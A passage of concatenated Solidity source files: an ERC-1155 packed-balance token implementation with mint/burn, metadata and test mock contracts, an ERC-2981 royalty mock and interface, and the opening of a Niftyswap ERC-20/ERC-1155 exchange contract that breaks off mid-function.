uint256 balFrom = _viewUpdateBinValue(balances[_from][bin], index, _amounts[0], Operations.Sub);
uint256 balTo = _viewUpdateBinValue(balances[_to][bin], index, _amounts[0], Operations.Add);
// Last bin updated
uint256 lastBin = bin;
for (uint256 i = 1; i < nTransfer; i++) {
(bin, index) = getIDBinIndex(_ids[i]);
// If new bin
if (bin != lastBin) {
// Update storage balance of previous bin
balances[_from][lastBin] = balFrom;
balances[_to][lastBin] = balTo;
balFrom = balances[_from][bin];
balTo = balances[_to][bin];
// Bin will be the most recent bin
lastBin = bin;
}
// Update memory balance
balFrom = _viewUpdateBinValue(balFrom, index, _amounts[i], Operations.Sub);
balTo = _viewUpdateBinValue(balTo, index, _amounts[i], Operations.Add);
}
// Update storage of the last bin visited
balances[_from][bin] = balFrom;
balances[_to][bin] = balTo;
// If transfer to self, just make sure all amounts are valid
} else {
for (uint256 i = 0; i < nTransfer; i++) {
require(balanceOf(_from, _ids[i]) >= _amounts[i], "ERC1155PackedBalance#_safeBatchTransferFrom: UNDERFLOW");
}
}
// Emit event
emit TransferBatch(msg.sender, _from, _to, _ids, _amounts);
}
/**
* @notice Verifies if receiver is contract and if so, calls (_to).onERC1155BatchReceived(...)
*/
function _callonERC1155BatchReceived(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, uint256 _gasLimit, bytes memory _data)
internal
{
// Pass data if recipient is contract
if (_to.isContract()) {
bytes4 retval = IERC1155TokenReceiver(_to).onERC1155BatchReceived{gas: _gasLimit}(msg.sender, _from, _ids, _amounts, _data);
require(retval == ERC1155_BATCH_RECEIVED_VALUE, "ERC1155PackedBalance#_callonERC1155BatchReceived: INVALID_ON_RECEIVE_MESSAGE");
}
}
/***********************************|
| Operator Functions |
|__________________________________*/
/**
* @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens
* @param _operator Address to add to the set of authorized operators
* @param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved)
external override
{
// Update operator status
operators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
/**
* @notice Queries the approval status of an operator for a given owner
* @param _owner The owner of the Tokens
* @param _operator Address of authorized operator
* @return isOperator True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator)
public override view returns (bool isOperator)
{
return operators[_owner][_operator];
}
/***********************************|
| Public Balance Functions |
|__________________________________*/
/**
* @notice Get the balance of an account's Tokens
* @param _owner The address of the token holder
* @param _id ID of the Token
* @return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id)
public override view returns (uint256)
{
uint256 bin;
uint256 index;
//Get bin and index of _id
(bin, index) = getIDBinIndex(_id);
return getValueInBin(balances[_owner][bin], index);
}
/**
* @notice Get the balance of multiple account/token pairs
* @param _owners The addresses of the token holders (sorted owners will lead to less gas usage)
* @param _ids ID of the Tokens (sorted ids will lead to less gas usage
* @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] memory _owners, uint256[] memory _ids)
public override view returns (uint256[] memory)
{
uint256 n_owners = _owners.length;
require(n_owners == _ids.length, "ERC1155PackedBalance#balanceOfBatch: INVALID_ARRAY_LENGTH");
// First values
(uint256 bin, uint256 index) = getIDBinIndex(_ids[0]);
uint256 balance_bin = balances[_owners[0]][bin];
uint256 last_bin = bin;
// Initialization
uint256[] memory batchBalances = new uint256[](n_owners);
batchBalances[0] = getValueInBin(balance_bin, index);
// Iterate over each owner and token ID
for (uint256 i = 1; i < n_owners; i++) {
(bin, index) = getIDBinIndex(_ids[i]);
// SLOAD if bin changed for the same owner or if owner changed
if (bin != last_bin || _owners[i-1] != _owners[i]) {
balance_bin = balances[_owners[i]][bin];
last_bin = bin;
}
batchBalances[i] = getValueInBin(balance_bin, index);
}
return batchBalances;
}
/***********************************|
| Packed Balance Functions |
|__________________________________*/
/**
* @notice Update the balance of a id for a given address
* @param _address Address to update id balance
* @param _id Id to update balance of
* @param _amount Amount to update the id balance
* @param _operation Which operation to conduct :
* Operations.Add: Add _amount to id balance
* Operations.Sub: Substract _amount from id balance
*/
function _updateIDBalance(address _address, uint256 _id, uint256 _amount, Operations _operation)
internal
{
uint256 bin;
uint256 index;
// Get bin and index of _id
(bin, index) = getIDBinIndex(_id);
// Update balance
balances[_address][bin] = _viewUpdateBinValue(balances[_address][bin], index, _amount, _operation);
}
/**
* @notice Update a value in _binValues
* @param _binValues Uint256 containing values of size IDS_BITS_SIZE (the token balances)
* @param _index Index of the value in the provided bin
* @param _amount Amount to update the id balance
* @param _operation Which operation to conduct :
* Operations.Add: Add _amount to value in _binValues at _index
* Operations.Sub: Substract _amount from value in _binValues at _index
*/
function _viewUpdateBinValue(uint256 _binValues, uint256 _index, uint256 _amount, Operations _operation)
internal pure returns (uint256 newBinValues)
{
uint256 shift = IDS_BITS_SIZE * _index;
uint256 mask = (uint256(1) << IDS_BITS_SIZE) - 1;
if (_operation == Operations.Add) {
newBinValues = _binValues + (_amount << shift);
require(newBinValues >= _binValues, "ERC1155PackedBalance#_viewUpdateBinValue: OVERFLOW");
require(
((_binValues >> shift) & mask) + _amount < 2**IDS_BITS_SIZE, // Checks that no other id changed
"ERC1155PackedBalance#_viewUpdateBinValue: OVERFLOW"
);
} else if (_operation == Operations.Sub) {
newBinValues = _binValues - (_amount << shift);
require(newBinValues <= _binValues, "ERC1155PackedBalance#_viewUpdateBinValue: UNDERFLOW");
require(
((_binValues >> shift) & mask) >= _amount, // Checks that no other id changed
"ERC1155PackedBalance#_viewUpdateBinValue: UNDERFLOW"
);
} else {
revert("ERC1155PackedBalance#_viewUpdateBinValue: INVALID_BIN_WRITE_OPERATION"); // Bad operation
}
return newBinValues;
}
/**
* @notice Return the bin number and index within that bin where ID is
* @param _id Token id
* @return bin index (Bin number, ID"s index within that bin)
*/
function getIDBinIndex(uint256 _id)
public pure returns (uint256 bin, uint256 index)
{
bin = _id / IDS_PER_UINT256;
index = _id % IDS_PER_UINT256;
return (bin, index);
}
/**
* @notice Return amount in _binValues at position _index
* @param _binValues uint256 containing the balances of IDS_PER_UINT256 ids
* @param _index Index at which to retrieve amount
* @return amount at given _index in _bin
*/
function getValueInBin(uint256 _binValues, uint256 _index)
public pure returns (uint256)
{
// require(_index < IDS_PER_UINT256) is not required since getIDBinIndex ensures `_index < IDS_PER_UINT256`
// Mask to retrieve data for a given binData
uint256 mask = (uint256(1) << IDS_BITS_SIZE) - 1;
// Shift amount
uint256 rightShift = IDS_BITS_SIZE * _index;
return (_binValues >> rightShift) & mask;
}
/***********************************|
| ERC165 Functions |
|__________________________________*/
/**
* @notice Query if a contract implements an interface
* @param _interfaceID The interface identifier, as specified in ERC-165
* @return `true` if the contract implements `_interfaceID` and
*/
function supportsInterface(bytes4 _interfaceID) public override(ERC165, IERC165) virtual pure returns (bool) {
if (_interfaceID == type(IERC1155).interfaceId) {
return true;
}
return super.supportsInterface(_interfaceID);
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
import "../../interfaces/IERC1155Metadata.sol";
import "../../utils/ERC165.sol";
/**
* @notice Contract that handles metadata related methods.
* @dev Methods assume a deterministic generation of URI based on token IDs.
* Methods also assume that URI uses hex representation of token IDs.
*/
contract ERC1155Metadata is IERC1155Metadata, ERC165 {
// URI's default URI prefix
string public baseURI;
string public name;
// set the initial name and base URI
constructor(string memory _name, string memory _baseURI) {
name = _name;
baseURI = _baseURI;
}
/***********************************|
| Metadata Public Functions |
|__________________________________*/
/**
* @notice A distinct Uniform Resource Identifier (URI) for a given token.
* @dev URIs are defined in RFC 3986.
* URIs are assumed to be deterministically generated based on token ID
* @return URI string
*/
function uri(uint256 _id) public override view returns (string memory) {
return string(abi.encodePacked(baseURI, _uint2str(_id), ".json"));
}
/***********************************|
| Metadata Internal Functions |
|__________________________________*/
/**
* @notice Will emit default URI log event for corresponding token _id
* @param _tokenIDs Array of IDs of tokens to log default URI
*/
function _logURIs(uint256[] memory _tokenIDs) internal {
string memory baseURL = baseURI;
string memory tokenURI;
for (uint256 i = 0; i < _tokenIDs.length; i++) {
tokenURI = string(abi.encodePacked(baseURL, _uint2str(_tokenIDs[i]), ".json"));
emit URI(tokenURI, _tokenIDs[i]);
}
}
/**
* @notice Will update the base URL of token's URI
* @param _newBaseMetadataURI New base URL of token's URI
*/
function _setBaseMetadataURI(string memory _newBaseMetadataURI) internal {
baseURI = _newBaseMetadataURI;
}
/**
* @notice Will update the name of the contract
* @param _newName New contract name
*/
function _setContractName(string memory _newName) internal {
name = _newName;
}
/**
* @notice Query if a contract implements an interface
* @param _interfaceID The interface identifier, as specified in ERC-165
* @return `true` if the contract implements `_interfaceID` and
*/
function supportsInterface(bytes4 _interfaceID) public override virtual pure returns (bool) {
if (_interfaceID == type(IERC1155Metadata).interfaceId) {
return true;
}
return super.supportsInterface(_interfaceID);
}
/***********************************|
| Utility Internal Functions |
|__________________________________*/
/**
* @notice Convert uint256 to string
* @param _i Unsigned integer to convert to string
*/
function _uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 ii = _i;
uint256 len;
// Get number of bytes
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
// Get each individual ASCII
while (ii != 0) {
bstr[k--] = byte(uint8(48 + ii % 10));
ii /= 10;
}
// Convert to string
return string(bstr);
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
interface IERC1155Metadata {
event URI(string _uri, uint256 indexed _id);
/****************************************|
| Functions |
|_______________________________________*/
/**
* @notice A distinct Uniform Resource Identifier (URI) for a given token.
* @dev URIs are defined in RFC 3986.
* URIs are assumed to be deterministically generated based on token ID
* Token IDs are assumed to be represented in their hex format in URIs
* @return URI string
*/
function uri(uint256 _id) external view returns (string memory);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
import "../tokens/ERC1155PackedBalance/ERC1155MintBurnPackedBalance.sol";
import "../tokens/ERC1155/ERC1155Metadata.sol";
contract ERC1155MintBurnPackedBalanceMock is ERC1155MintBurnPackedBalance, ERC1155Metadata {
// set the initial name and base URI
constructor(string memory _name, string memory _baseURI) ERC1155Metadata(_name, _baseURI) {}
/***********************************|
| ERC165 |
|__________________________________*/
/**
* @notice Query if a contract implements an interface
* @dev Parent contract inheriting multiple contracts with supportsInterface()
* need to implement an overriding supportsInterface() function specifying
* all inheriting contracts that have a supportsInterface() function.
* @param _interfaceID The interface identifier, as specified in ERC-165
* @return `true` if the contract implements `_interfaceID`
*/
function supportsInterface(
bytes4 _interfaceID
) public override(
ERC1155PackedBalance,
ERC1155Metadata
) pure virtual returns (bool) {
return super.supportsInterface(_interfaceID);
}
/***********************************|
| Minting Functions |
|__________________________________*/
/**
* @dev Mint _value of tokens of a given id
* @param _to The address to mint tokens to.
* @param _id token id to mint
* @param _value The amount to be minted
* @param _data Data to be passed if receiver is contract
*/
function mintMock(address _to, uint256 _id, uint256 _value, bytes memory _data)
public
{
_mint(_to, _id, _value, _data);
}
/**
* @dev Mint tokens for each ids in _ids
* @param _to The address to mint tokens to.
* @param _ids Array of ids to mint
* @param _values Array of amount of tokens to mint per id
* @param _data Data to be passed if receiver is contract
*/
function batchMintMock(address _to, uint256[] memory _ids, uint256[] memory _values, bytes memory _data)
public
{
_batchMint(_to, _ids, _values, _data);
}
/***********************************|
| Burning Functions |
|__________________________________*/
/**
* @dev burn _value of tokens of a given token id
* @param _from The address to burn tokens from.
* @param _id token id to burn
* @param _value The amount to be burned
*/
function burnMock(address _from, uint256 _id, uint256 _value)
public
{
_burn(_from, _id, _value);
}
/**
* @dev burn _value of tokens of a given token id
* @param _from The address to burn tokens from.
* @param _ids Array of token ids to burn
* @param _values Array of the amount to be burned
*/
function batchBurnMock(address _from, uint256[] memory _ids, uint256[] memory _values)
public
{
_batchBurn(_from, _ids, _values);
}
/***********************************|
| Unsupported Functions |
|__________________________________*/
fallback () external {
revert("ERC1155MetaMintBurnPackedBalanceMock: INVALID_METHOD");
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
import "./ERC1155PackedBalance.sol";
/**
* @dev Multi-Fungible Tokens with minting and burning methods. These methods assume
* a parent contract to be executed as they are `internal` functions.
*/
contract ERC1155MintBurnPackedBalance is ERC1155PackedBalance {
/****************************************|
| Minting Functions |
|_______________________________________*/
/**
* @notice Mint _amount of tokens of a given id
* @param _to The address to mint tokens to
* @param _id Token id to mint
* @param _amount The amount to be minted
* @param _data Data to pass if receiver is contract
*/
function _mint(address _to, uint256 _id, uint256 _amount, bytes memory _data)
internal
{
//Add _amount
_updateIDBalance(_to, _id, _amount, Operations.Add); // Add amount to recipient
// Emit event
emit TransferSingle(msg.sender, address(0x0), _to, _id, _amount);
// Calling onReceive method if recipient is contract
_callonERC1155Received(address(0x0), _to, _id, _amount, gasleft(), _data);
}
/**
* @notice Mint tokens for each (_ids[i], _amounts[i]) pair
* @param _to The address to mint tokens to
* @param _ids Array of ids to mint
* @param _amounts Array of amount of tokens to mint per id
* @param _data Data to pass if receiver is contract
*/
function _batchMint(address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data)
internal
{
require(_ids.length == _amounts.length, "ERC1155MintBurnPackedBalance#_batchMint: INVALID_ARRAYS_LENGTH");
if (_ids.length > 0) {
// Load first bin and index where the token ID balance exists
(uint256 bin, uint256 index) = getIDBinIndex(_ids[0]);
// Balance for current bin in memory (initialized with first transfer)
uint256 balTo = _viewUpdateBinValue(balances[_to][bin], index, _amounts[0], Operations.Add);
// Number of transfer to execute
uint256 nTransfer = _ids.length;
// Last bin updated
uint256 lastBin = bin;
for (uint256 i = 1; i < nTransfer; i++) {
(bin, index) = getIDBinIndex(_ids[i]);
// If new bin
if (bin != lastBin) {
// Update storage balance of previous bin
balances[_to][lastBin] = balTo;
balTo = balances[_to][bin];
// Bin will be the most recent bin
lastBin = bin;
}
// Update memory balance
balTo = _viewUpdateBinValue(balTo, index, _amounts[i], Operations.Add);
}
// Update storage of the last bin visited
balances[_to][bin] = balTo;
}
// //Emit event
emit TransferBatch(msg.sender, address(0x0), _to, _ids, _amounts);
// Calling onReceive method if recipient is contract
_callonERC1155BatchReceived(address(0x0), _to, _ids, _amounts, gasleft(), _data);
}
/****************************************|
| Burning Functions |
|_______________________________________*/
/**
* @notice Burn _amount of tokens of a given token id
* @param _from The address to burn tokens from
* @param _id Token id to burn
* @param _amount The amount to be burned
*/
function _burn(address _from, uint256 _id, uint256 _amount)
internal
{
// Substract _amount
_updateIDBalance(_from, _id, _amount, Operations.Sub);
// Emit event
emit TransferSingle(msg.sender, _from, address(0x0), _id, _amount);
}
/**
* @notice Burn tokens of given token id for each (_ids[i], _amounts[i]) pair
* @dev This batchBurn method does not implement the most efficient way of updating
* balances to reduce the potential bug surface as this function is expected to
* be less common than transfers. EIP-2200 makes this method significantly
* more efficient already for packed balances.
* @param _from The address to burn tokens from
* @param _ids Array of token ids to burn
* @param _amounts Array of the amount to be burned
*/
function _batchBurn(address _from, uint256[] memory _ids, uint256[] memory _amounts)
internal
{
// Number of burning to execute
uint256 nBurn = _ids.length;
require(nBurn == _amounts.length, "ERC1155MintBurnPackedBalance#batchBurn: INVALID_ARRAYS_LENGTH");
// Executing all burning
for (uint256 i = 0; i < nBurn; i++) {
// Update storage balance
_updateIDBalance(_from, _ids[i], _amounts[i], Operations.Sub); // Add amount to recipient
}
// Emit batch burn event
emit TransferBatch(msg.sender, _from, address(0x0), _ids, _amounts);
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
import "@0xsequence/erc-1155/contracts/mocks/ERC1155MintBurnPackedBalanceMock.sol";
contract ERC1155PackedBalanceMock is ERC1155MintBurnPackedBalanceMock {
constructor() ERC1155MintBurnPackedBalanceMock("TestERC1155", "") {}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
import "../tokens/ERC1155/ERC1155MintBurn.sol";
import "../tokens/ERC1155/ERC1155Metadata.sol";
contract ERC1155MintBurnMock is ERC1155MintBurn, ERC1155Metadata {
// set the initial name and base URI
constructor(string memory _name, string memory _baseURI) ERC1155Metadata(_name, _baseURI) {}
/**
* @notice Query if a contract implements an interface
* @dev Parent contract inheriting multiple contracts with supportsInterface()
* need to implement an overriding supportsInterface() function specifying
* all inheriting contracts that have a supportsInterface() function.
* @param _interfaceID The interface identifier, as specified in ERC-165
* @return `true` if the contract implements `_interfaceID`
*/
function supportsInterface(
bytes4 _interfaceID
) public override(
ERC1155,
ERC1155Metadata
) pure virtual returns (bool) {
return super.supportsInterface(_interfaceID);
}
/***********************************|
| Minting Functions |
|__________________________________*/
/**
* @dev Mint _value of tokens of a given id
* @param _to The address to mint tokens to.
* @param _id token id to mint
* @param _value The amount to be minted
* @param _data Data to be passed if receiver is contract
*/
function mintMock(address _to, uint256 _id, uint256 _value, bytes memory _data)
public
{
super._mint(_to, _id, _value, _data);
}
/**
* @dev Mint tokens for each ids in _ids
* @param _to The address to mint tokens to.
* @param _ids Array of ids to mint
* @param _values Array of amount of tokens to mint per id
* @param _data Data to be passed if receiver is contract
*/
function batchMintMock(address _to, uint256[] memory _ids, uint256[] memory _values, bytes memory _data)
public
{
super._batchMint(_to, _ids, _values, _data);
}
/***********************************|
| Burning Functions |
|__________________________________*/
/**
* @dev burn _value of tokens of a given token id
* @param _from The address to burn tokens from.
* @param _id token id to burn
* @param _value The amount to be burned
*/
function burnMock(address _from, uint256 _id, uint256 _value)
public
{
super._burn(_from, _id, _value);
}
/**
* @dev burn _value of tokens of a given token id
* @param _from The address to burn tokens from.
* @param _ids Array of token ids to burn
* @param _values Array of the amount to be burned
*/
function batchBurnMock(address _from, uint256[] memory _ids, uint256[] memory _values)
public
{
super._batchBurn(_from, _ids, _values);
}
/***********************************|
| Unsupported Functions |
|__________________________________*/
fallback () virtual external {
revert("ERC1155MetaMintBurnMock: INVALID_METHOD");
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
import "@0xsequence/erc-1155/contracts/mocks/ERC1155MintBurnMock.sol";
import "../interfaces/IERC2981.sol";
contract ERC1155RoyaltyMock is ERC1155MintBurnMock {
constructor() ERC1155MintBurnMock("TestERC1155", "") {}
using SafeMath for uint256;
uint256 public royaltyFee;
address public royaltyRecipient;
uint256 public royaltyFee666;
address public royaltyRecipient666;
/**
* @notice Called with the sale price to determine how much royalty
* is owed and to whom.
* @param _tokenId - the NFT asset queried for royalty information
* @param _salePrice - the sale price of the NFT asset specified by _tokenId
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for _salePrice
*/
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount) {
if (_tokenId == 666) {
uint256 fee = _salePrice.mul(royaltyFee666).div(10000);
return (royaltyRecipient666, fee);
} else {
uint256 fee = _salePrice.mul(royaltyFee).div(10000);
return (royaltyRecipient, fee);
}
}
function setFee(uint256 _fee) public {
require(_fee < 10000, "FEE IS TOO HIGH");
royaltyFee = _fee;
}
function set666Fee(uint256 _fee) public {
require(_fee < 10000, "FEE IS TOO HIGH");
royaltyFee666 = _fee;
}
function setFeeRecipient(address _recipient) public {
royaltyRecipient = _recipient;
}
function set666FeeRecipient(address _recipient) public {
royaltyRecipient666 = _recipient;
}
bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
/**
* @notice Query if a contract implements an interface
* @param _interfaceID The interface identifier, as specified in ERC-165
* @return `true` if the contract implements `_interfaceID` and
*/
function supportsInterface(bytes4 _interfaceID) public override(ERC1155MintBurnMock) virtual pure returns (bool) {
// Should be 0x2a55205a
if (_interfaceID == _INTERFACE_ID_ERC2981) {
return true;
}
return super.supportsInterface(_interfaceID);
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
import "@0xsequence/erc-1155/contracts/interfaces/IERC165.sol";
/**
* @dev Interface for the NFT Royalty Standard
*/
interface IERC2981 is IERC165 {
/**
* @notice Called with the sale price to determine how much royalty
* is owed and to whom.
* @param _tokenId - the NFT asset queried for royalty information
* @param _salePrice - the sale price of the NFT asset specified by _tokenId
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for _salePrice
*/
function royaltyInfo(
uint256 _tokenId,
uint256 _salePrice
) external view returns (
address receiver,
uint256 royaltyAmount
);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
import "../interfaces/INiftyswapExchange20.sol";
import "../utils/ReentrancyGuard.sol";
import "../utils/DelegatedOwnable.sol";
import "../interfaces/IERC2981.sol";
import "../interfaces/IERC1155Metadata.sol";
import "../interfaces/IDelegatedERC1155Metadata.sol";
import "@0xsequence/erc-1155/contracts/interfaces/IERC20.sol";
import "@0xsequence/erc-1155/contracts/interfaces/IERC165.sol";
import "@0xsequence/erc-1155/contracts/interfaces/IERC1155.sol";
import "@0xsequence/erc-1155/contracts/interfaces/IERC1155TokenReceiver.sol";
import "@0xsequence/erc-1155/contracts/tokens/ERC1155/ERC1155MintBurn.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
/**
* This Uniswap-like implementation supports ERC-1155 standard tokens
* with an ERC-20 based token used as a currency instead of Ether.
*
* Liquidity tokens are also ERC-1155 tokens you can find the ERC-1155
* implementation used here:
* https://github.com/horizon-games/multi-token-standard/tree/master/contracts/tokens/ERC1155
*
* @dev Like Uniswap, tokens with 0 decimals and low supply are susceptible to significant rounding
* errors when it comes to removing liquidity, possibly preventing them to be withdrawn without
* some collaboration between liquidity providers.
*
* @dev ERC-777 tokens may be vulnerable if used as currency in Niftyswap. Please review the code
* carefully before using it with ERC-777 tokens.
*/
contract NiftyswapExchange20 is ReentrancyGuard, ERC1155MintBurn, INiftyswapExchange20, IERC1155Metadata, DelegatedOwnable {
using SafeMath for uint256;
/***********************************|
| Variables & Constants |
|__________________________________*/
// Variables
IERC1155 internal immutable token; // address of the ERC-1155 token contract
address internal immutable currency; // address of the ERC-20 currency used for exchange
address internal immutable factory; // address for the factory that created this contract
uint256 internal immutable FEE_MULTIPLIER; // multiplier that calculates the LP fee (1.0%)
// Royalty variables
bool internal immutable IS_ERC2981; // whether token contract supports ERC-2981
uint256 internal globalRoyaltyFee; // global royalty fee multiplier if ERC2981 is not used
address internal globalRoyaltyRecipient; // global royalty fee recipient if ERC2981 is not used
// Mapping variables
mapping(uint256 => uint256) internal totalSupplies; // Liquidity pool token supply per Token id
mapping(uint256 => uint256) internal currencyReserves; // currency Token reserve per Token id
mapping(address => uint256) internal royaltiesNumerator; // Mapping tracking how much royalties can be claimed per address
uint256 internal constant ROYALTIES_DENOMINATOR = 10000;
uint256 internal constant MAX_ROYALTY = ROYALTIES_DENOMINATOR / 4;
/***********************************|
| Constructor |
|__________________________________*/
/**
* @notice Create instance of exchange contract with respective token and currency token
* @dev If token supports ERC-2981, then royalty fee will be queried per token on the
* token contract. Else royalty fee will need to be manually set by admin.
* @param _tokenAddr The address of the ERC-1155 Token
* @param _currencyAddr The address of the ERC-20 currency Token
* @param _currencyAddr Address of the admin, which should be the same as the factory owner
* @param _lpFee Fee that will go to LPs.
* Number between 0 and 1000, where 10 is 1.0% and 100 is 10%.
*/
constructor(address _tokenAddr, address _currencyAddr, uint256 _lpFee) DelegatedOwnable(msg.sender) {
require(
_tokenAddr != address(0) && _currencyAddr != address(0),
"NE20#1" // NiftyswapExchange20#constructor:INVALID_INPUT
);
require(
_lpFee >= 0 && _lpFee <= 1000,
"NE20#2" // NiftyswapExchange20#constructor:INVALID_LP_FEE
);
factory = msg.sender;
token = IERC1155(_tokenAddr);
currency = _currencyAddr;
FEE_MULTIPLIER = 1000 - _lpFee;
// If global royalty, lets check for ERC-2981 support
try IERC1155(_tokenAddr).supportsInterface(type(IERC2981).interfaceId) returns (bool supported) {
IS_ERC2981 = supported;
} catch {}
}
/***********************************|
| Metadata Functions |
|__________________________________*/
/**
@notice A distinct Uniform Resource Identifier (URI) for a given token.
@dev URIs are defined in RFC 3986.
The URI MUST point to a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema".
@return URI string
*/
function uri(uint256 _id) external override view returns (string memory) {
return IDelegatedERC1155Metadata(factory).metadataProvider().uri(_id);
}
/***********************************|
| Exchange Functions |
|__________________________________*/
/**
* @notice Convert currency tokens to Tokens _id and transfers Tokens to recipient.
*/
function _currencyToToken(
uint256[] memory _tokenIds,
uint256[] memory _tokensBoughtAmounts,
uint256 _maxCurrency,
uint256 _deadline,
address _recipient
)
internal nonReentrant() returns (uint256[] memory currencySold)
{
// Input validation
require(_deadline >= block.timestamp, "NE20#3"); // NiftyswapExchange20#_currencyToToken: DEADLINE_EXCEEDED
// Number of Token IDs to deposit
uint256 nTokens = _tokenIds.length;
uint256 totalRefundCurrency = _maxCurrency;
// Initialize variables
currencySold = new uint256[](nTokens); // Amount of currency tokens sold per ID
// Get token reserves
uint256[] memory tokenReserves = _getTokenReserves(_tokenIds);
// Assumes the currency Tokens are already received by contract, but not
// the Tokens Ids
// Remove liquidity for each Token ID in _tokenIds
for (uint256 i = 0; i < nTokens; i++) {
// Store current id and amount from argument arrays
uint256 idBought = _tokenIds[i];
uint256 amountBought = _tokensBoughtAmounts[i];
uint256 tokenReserve = tokenReserves[i];
require(amountBought > 0, "NE20#4"); // NiftyswapExchange20#_currencyToToken: NULL_TOKENS_BOUGHT
// Load currency token and Token _id reserves
uint256 currencyReserve = currencyReserves[idBought];
// Get amount of currency tokens to send for purchase
// Neither reserves amount have been changed so far in this transaction, so
// no adjustment to the inputs is needed
uint256 currencyAmount = getBuyPrice(amountBought, currencyReserve, tokenReserve);
// If royalty, increase amount buyer will need to pay after LP fees were calculated
// Note: Royalty will be a bit higher since LF fees are added first
(address royaltyRecipient, uint256 royaltyAmount) = getRoyaltyInfo(idBought, currencyAmount);
if (royaltyAmount > 0) {
royaltiesNumerator[royaltyRecipient] = royaltiesNumerator[royaltyRecipient].add(royaltyAmount.mul(ROYALTIES_DENOMINATOR));
}
// Calculate currency token amount to refund (if any) where whatever is not used will be returned
// Will throw if total cost exceeds _maxCurrency
totalRefundCurrency = totalRefundCurrency.sub(currencyAmount).sub(royaltyAmount);
// Append Token id, Token id amount and currency token amount to tracking arrays
currencySold[i] = currencyAmount.add(royaltyAmount);
// Update individual currency reseve amount (royalty is not added to liquidity)
currencyReserves[idBought] = currencyReserve.add(currencyAmount);
}
// Send Tokens all tokens purchased
token.safeBatchTransferFrom(address(this), _recipient, _tokenIds, _tokensBoughtAmounts, "");
// Refund currency token if any
if (totalRefundCurrency > 0) {
TransferHelper.safeTransfer(currency, _recipient, totalRefundCurrency);
}
return currencySold;
}
/**
* @dev Pricing function used for converting between currency token to Tokens.
* @param _assetBoughtAmount Amount of Tokens being bought.
* @param _assetSoldReserve Amount of currency tokens in exchange reserves.
* @param _assetBoughtReserve Amount of Tokens (output type) in exchange reserves.
* @return price Amount of currency tokens to send to Niftyswap.
*/
function getBuyPrice(
uint256 _assetBoughtAmount,
uint256 _assetSoldReserve,
uint256 _assetBoughtReserve)
override public view returns (uint256 price)
{
// Reserves must not be empty
require(_assetSoldReserve > 0 && _assetBoughtReserve > 0, "NE20#5"); // NiftyswapExchange20#getBuyPrice: EMPTY_RESERVE
// Calculate price with fee
uint256 numerator = _assetSoldReserve.mul(_assetBoughtAmount).mul(1000);
uint256 denominator = (_assetBoughtReserve.sub(_assetBoughtAmount)).mul(FEE_MULTIPLIER);
(price, ) = divRound(numerator, denominator);
return price; // Will add 1 if rounding error
}
/**
* @dev Pricing function used for converting Tokens to currency token (including royalty fee)
* @param _tokenId Id ot token being sold
* @param _assetBoughtAmount Amount of Tokens being bought.
* @param _assetSoldReserve Amount of currency tokens in exchange reserves.
* @param _assetBoughtReserve Amount of Tokens (output type) in exchange reserves.
* @return price Amount of currency tokens to send to Niftyswap.
*/
function getBuyPriceWithRoyalty(
uint256 _tokenId,
uint256 _assetBoughtAmount,
uint256 _assetSoldReserve,
uint256 _assetBoughtReserve)
override public view returns (uint256 price)
{
uint256 cost = getBuyPrice(_assetBoughtAmount, _assetSoldReserve, _assetBoughtReserve);
(, uint256 royaltyAmount) = getRoyaltyInfo(_tokenId, cost);
return cost.add(royaltyAmount);
}
/**
* @notice Convert Tokens _id to currency tokens and transfers Tokens to recipient.
* @dev User specifies EXACT Tokens _id sold and MINIMUM currency tokens received.
* @dev Assumes that all trades will be valid, or the whole tx will fail
* @dev Sorting _tokenIds is mandatory for efficient way of preventing duplicated IDs (which would lead to errors)
* @param _tokenIds Array of Token IDs that are sold
* @param _tokensSoldAmounts Array of Amount of Tokens sold for each id in _tokenIds.
* @param _minCurrency Minimum amount of currency tokens to receive
* @param _deadline Timestamp after which this transaction will be reverted
* @param _recipient The address that receives output currency tokens.
* @param _extraFeeRecipients Array of addresses that will receive extra fee
* @param _extraFeeAmounts Array of amounts of currency that will be sent as extra fee
* @return currencyBought How much currency was actually purchased.
*/
function _tokenToCurrency(
uint256[] memory _tokenIds,
uint256[] memory _tokensSoldAmounts,
uint256 _minCurrency,
uint256 _deadline,
address _recipient,
address[] memory _extraFeeRecipients,
uint256[] memory _extraFeeAmounts
)
internal nonReentrant() returns (uint256[] memory currencyBought)
{
// Number of Token IDs to deposit
uint256 nTokens = _tokenIds.length;
// Input validation
require(_deadline >= block.timestamp, "NE20#6"); // NiftyswapExchange20#_tokenToCurrency: DEADLINE_EXCEEDED
// Initialize variables
